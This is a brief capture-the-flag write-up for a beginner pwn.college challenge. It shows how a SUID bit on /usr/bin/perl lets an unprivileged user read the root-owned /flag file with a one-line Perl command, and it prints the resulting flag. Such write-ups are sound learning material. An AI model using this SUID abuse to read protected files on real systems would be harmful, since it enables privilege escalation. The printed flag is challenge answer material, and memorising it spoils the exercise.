Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/perl, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/perl

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/perl
  • The s in -rws indicates it’s a SUID binary.
  • perl runs with root privileges.

🚀 Exploitation

The perl command runs Perl scripts — a powerful language used for text processing, scripting, automation. We can simple create a peral based file reader to read contents of /flag.

perl -e 'open(F,"/flag"); print <F>; close F;'

Output:

pwn.college{YycVFpdHZT30LHkl6N9QDYFHWnk.dNDOxwSM0IzMyEzW}